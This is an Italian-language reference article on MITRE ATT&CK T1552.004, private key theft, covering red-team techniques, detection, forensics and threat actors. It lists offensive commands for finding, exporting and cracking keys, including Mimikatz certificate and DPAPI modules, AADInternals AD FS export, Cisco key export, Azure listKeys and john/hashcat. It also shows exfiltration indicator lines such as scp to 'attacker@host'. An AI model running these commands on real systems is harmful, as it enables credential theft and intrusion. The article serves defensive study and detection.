Furto di Chiavi Private: Private Keys (T1552.004)

In un esercizio red team la caccia alle chiavi private inizia con enumerazione mirata del filesystem. Su Linux una ricognizione rapida delle directory sensibili si ottiene con:

find / -type f ( -name "id_rsa" -o -name ".pem" -o -name ".key" -o -name ".pfx" -o -name ".p12" ) 2>/dev/null

Subito dopo vale la pena ispezionare ~/.ssh/config, ~/.aws/credentials, ~/.docker/config.json e ~/.kube/config per catturare non solo chiavi ma anche i loro binding a target remoti. Il tool LinPEAS (open source) automatizza gran parte di questa raccolta insieme a controlli su agent SSH attivi e chiavi caricate in memoria via ssh-add -L.

Su Windows il flusso operativo passa spesso da Mimikatz (open source) con il modulo crypto::capi e crypto::certificates /export per estrarre certificati dal Windows Certificate Store, inclusi quelli marcati come non esportabili grazie al patching della CryptoAPI. Il modulo sekurlsa::dpapi recupera master key utili a decifrare vault protetti. SharpDPAPI (open source) e SharpChrome (open source) rappresentano alternative in C# più discrete rispetto a Mimikatz per estrarre credenziali e chiavi DPAPI-protected. Il framework PowerShell Empire (open source) fornisce Invoke-SessionGopher per raccogliere sessioni PuTTY, WinSCP, FileZilla e chiavi private associate.

In scenari Active Directory Federation Services l'obiettivo di alto valore è il certificato di token signing: AADInternals (open source) espone Export-AADIntADFSCertificates per recuperare le chiavi da un container AD FS compromesso, replicando il pattern usato nella catena SolarWinds. Su tenant Entra ID il modulo permette anche di estrarre device key e transport key da una macchina joinata per successiva device impersonation.

Sui dispositivi di rete Cisco IOS, ottenuto accesso privilegiato, il comando crypto pki export pem terminal password esporta la chiave RSA se non è stata generata con flag non-exportable. Nei lab cloud, con un principal Azure dotato del ruolo Owner o Storage Account Key Operator, l'operazione Microsoft.Storage/storageAccounts/listkeys/action restituisce le chiavi di accesso allo storage — pattern osservato nelle intrusioni Storm-0501.

Una volta ottenute chiavi passphrase-protected, il crack offline si esegue con John the Ripper (open source) tramite ssh2john id_rsa > hash seguito da john --wordlist=rockyou.txt hash, oppure con hashcat (open source) in modalità -m 22921 per file SSH.

La detection comportamentale ruota attorno a tre segnali: accesso a file con estensioni crittografiche, esecuzione di CLI di export su apparati di rete, chiamate API cloud verso endpoint di gestione chiavi. Su Windows la telemetria chiave arriva da Sysmon (open source) con Event ID 11 (FileCreate) e soprattutto EventCode 4663 del Security log quando è attiva la SACL sulle directory *%USERPROFILE%.ssh* e sui certificate store. Una regola efficace correla accessi a file .pem, .pfx, .ppk, .key da parte di processi non appartenenti a una allowlist di tool legittimi (certutil.exe, ssh.exe, mmc.exe, certmgr.exe), soprattutto se seguiti entro breve finestra da compressione (7z.exe, makecab.exe) o connessioni di rete uscenti.

L'invocazione di certutil -exportPFX o l'uso di API CryptoAPI da processi non standard va monitorato con Sysmon EventCode 10 (ProcessAccess) verso lsass.exe combinato con caricamento di moduli come cryptdll.dll in processi anomali. Le tecniche difensive D3-FA (File Analysis) e D3-PA (Process Analysis) di MITRE D3FEND forniscono il framework concettuale per queste correlazioni.

Su Linux la fonte primaria è auditd con regole dedicate:

-w /root/.ssh -p rwxa -k ssh_key_access -w /home -p r -k user_key_access

Gli eventi SYSCALL con syscall openat seguiti da EXECVE di tar, base64, scp o curl sullo stesso file entro pochi secondi rappresentano un pattern ad alta confidenza. Su macOS il Unified Log traccia accessi a ~/.ssh e al Keychain: filtrare per processi osascript, python, bash che leggono login.keychain-db aiuta a scoprire staging.

Sui dispositivi di rete la detection passa dal syslog AAA: alert su pattern crypto pki export, crypto key export, show crypto key mypubkey soprattutto se eseguiti da sessioni con provenienza IP anomala o utenti fuori dal normale gruppo di network engineer. La correlazione con TACACS+/RADIUS accounting arricchisce il contesto utente.

In ambienti cloud Azure il log AzureActivity deve alertare su Microsoft.Storage/storageAccounts/listKeys/action e Microsoft.KeyVault/vaults/secrets/read fuori dai pattern IaC noti. Su Entra ID l'operazione Export device key e le anomalie sui PRT (Primary Refresh Token) vanno correlate con il device compliance state.

I falsi positivi principali derivano da tool di backup, agenti di configuration management (Ansible, Puppet) e scanner di vulnerabilità che leggono legittimamente materiale crittografico: la baseline per host role è indispensabile per ridurre il rumore.

L'analisi forense post-compromissione parte dall'inventario delle chiavi potenzialmente esposte. Su Windows gli artefatti chiave includono il Prefetch (*C:\Windows\Prefetch*) per tracce di certutil.exe, mimikatz.exe, rundll32.exe con moduli DPAPI, e le Amcache (C:\Windows\AppCompat\Programs\Amcache.hve) per esecuzioni storiche di tool come SharpDPAPI. Le ShimCache e UserAssist confermano lancio interattivo di certificate manager.

Il Windows Certificate Store risiede in *%APPDATA%\Microsoft\SystemCertificates* per il current user e nel registry sotto *HKLM\SOFTWARE\Microsoft\SystemCertificates* per la macchina; l'analisi delle chiavi MY rivela certificati con private key associate. Il DPAPI master key store in *%APPDATA%\Microsoft\Protect<SID>* è critico per capire quali segreti potevano essere decifrati. KAPE (gratuito) con il target CertificateStore automatizza la raccolta, mentre libesedb (open source) permette il parsing del database NTDS in scenari AD FS.

Per server AD FS compromessi nel pattern SolarWinds Compromise (C0024), l'esame va esteso al database AdfsConfigurationV4 e ai container LDAP contenenti il DKM (Distributed Key Manager) da cui APT29 estrasse la chiave per decifrare i certificati di token signing. Log Microsoft-Windows-CAPI2/Operational documentano operazioni crittografiche anomale.

Su Linux la timeline si costruisce da auth.log, audit.log e bash_history. Comandi tipo cat ~/.ssh/id_rsa, tar czf - ~/.ssh | base64, scp id_rsa attacker@host rappresentano indicatori diretti. I metadati atime dei file in ~/.ssh/ (se non disabilitati con noatime) evidenziano accessi anomali; il tool plaso/log2timeline (open source) integra queste fonti in una supertimeline. Per la campagna documentata di Troll Stealer (S1196) vanno cercate compressioni recenti di .ssh e riferimenti a directory GPKI su endpoint sudcoreani.

Nella Operation Wocao (C0014) i threat actor hanno usato Mimikatz per dump dal certificate store: la firma forense include stringhe sekurlsa, crypto::extract nella memoria e file dump .pfx creati in directory temporanee. L'analisi memoria con Volatility 3 (open source) attraverso i plugin windows.registry.certificates e windows.dpapi.masterkeys consente il recovery di materiale non ancora esfiltrato.

Sui dispositivi di rete l'archivio dei comandi TACACS+ e i syslog %SYS-5-CONFIG_I documentano invocazioni di crypto pki export. In cloud Azure, l'Activity Log retention (90 giorni default) e i log diagnostici di Storage e Key Vault esportati in Log Analytics costituiscono la fonte forense primaria per operazioni di listKeys sospette.

Il panorama degli attori che sfruttano T1552.004 mostra una netta polarizzazione tra criminalità cloud-native e attori state-sponsored orientati a operazioni di identity abuse.

Volt Typhoon (G1017), attribuito a operatori state-sponsored cinesi focalizzati su infrastrutture critiche statunitensi, ha dimostrato accesso al file Local State di Chrome per estrarre la chiave AES che protegge le password del browser. Il pattern conferma un approccio living-off-the-land coerente con il profilo del gruppo, che privilegia strumenti nativi e artefatti browser rispetto a malware custom rumorosi.

Scattered Spider (G1015), collettivo cybercriminale anglofono noto per social engineering ai help desk e SIM swap, si distingue per l'esfiltrazione di certificati di code-signing dagli host compromessi. Il valore strategico è duplice: rivendita nel mercato underground e riuso in campagne successive per firmare loader e driver malevoli bypassando controlli reputazionali.

Storm-0501 (G1053) rappresenta il vettore cloud puro: sfrutta il ruolo Azure Owner per invocare Microsoft.Storage/storageAccounts/listkeys/action e appropriarsi delle Storage Account Access Key, spesso propedeutico a operazioni di ransomware cloud e distruzione di backup. Il gruppo evidenzia come il perimetro delle chiavi private includa ormai anche credenziali long-lived del piano di controllo cloud.

Rocke (G0106) e TeamTNT (G0139) condividono il focus su ambienti Linux e container esposti: entrambi ricercano chiavi SSH non protette per propagare cryptominer lateralmente. TeamTNT ha esteso il pattern al furto di credenziali AWS e Docker, mentre Rocke si concentra su reti interne raggiungibili via SSH pivoting.

Sul fronte software emergono cluster interessanti. Mimikatz (S0002) rimane lo standard cross-actor per estrazione da Windows Certificate Store, come documentato nella Operation Wocao (C0014). AADInternals (S0677) e FoggyWeb (S0661) rappresentano invece l'arsenale specializzato per attacchi AD FS: FoggyWeb, attribuito ad APT29, è stato osservato nella SolarWinds Compromise (C0024) per recuperare token signing e decryption certificates, abilitando la catena Golden SAML. Ebury (S0377) intercetta chiavi SSH e passphrase su server Linux compromessi in campagne di lunga durata contro provider di hosting.

Troll Stealer (S1196) mostra un focus regionale sudcoreano con targeting specifico del Government PKI, mentre stealer generalisti come jRAT (S0283), Machete (S0409) e Mafalda (S1060) integrano la raccolta di chiavi VPN, wallet crypto e chiavi di cifratura browser nel loro flusso standard. Kinsing (S0599) e Hildegard (S0601) confermano che l'ecosistema cryptomining su Kubernetes considera le chiavi SSH un asset primario di propagazione.

MITRE ATT&CK T1552.004 (Private Keys), tattica TA0006. Gruppi G0106, G0139, G1015, G1017, G1053. Software S0002, S0283, S0363, S0377, S0409, S0599, S0601, S0661, S0677, S1060, S1196. Campagne C0014 (Operation Wocao), C0024 (SolarWinds Compromise). Mitigazioni M1022, M1027, M1041, M1047. Detection DET0549 (AN1516-AN1519). Per comandi operativi, tool di detection e artefatti forensi è stata integrata conoscenza professionale di cybersecurity verificabile su documentazione ufficiale dei rispettivi progetti.